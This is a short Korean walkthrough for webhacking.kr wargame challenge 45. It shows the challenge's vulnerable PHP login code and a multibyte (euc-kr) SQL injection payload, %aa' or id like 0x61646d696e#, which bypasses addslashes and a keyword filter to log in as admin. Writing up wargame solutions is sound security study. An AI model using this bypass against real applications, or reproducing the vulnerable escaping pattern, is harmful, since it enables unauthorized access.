[webhacking.kr] 45번 문제 풀이[SQL Injection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 45번 문제에 대한 풀이입니다.

문제

image

<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>

문제 풀이

다음의 sql 문을 인젝션 하여 admin이 나오도록 하면 됩니다.

select id from chall45 where id='{}' and pw=md5('%aa') or id like 0x61646d696e-- ')

이번 문제는 addslashes() 함수와 mb_convert_encoding 함수가 같이 쓰이면서 multibyte encoding을 통해서 addslashes함수를 우회할 수 있습니다.

mb_convert_encoding이 ‘id’에 쓰였기 때문에 공격지점은 id로 하고, 다음과 같이 injection을 시킬 페이로드 초안을 작성합니다.

  id = %aa' or id='admin'#

이제 위의 초안에서 필터링 되는 문자열들을 고려하여 우회하여 줍니다.

  • = : like 사용으로 우회
  • admin : 0x61646d696e 로 우회

따라서 다음과 같이 변형시켜서 injection을 시도합니다.

  %aa' or id like 0x61646d696e#

위의 값을 인코딩하여 입력하면 다음과 같이 문제가 풀립니다.

image

댓글남기기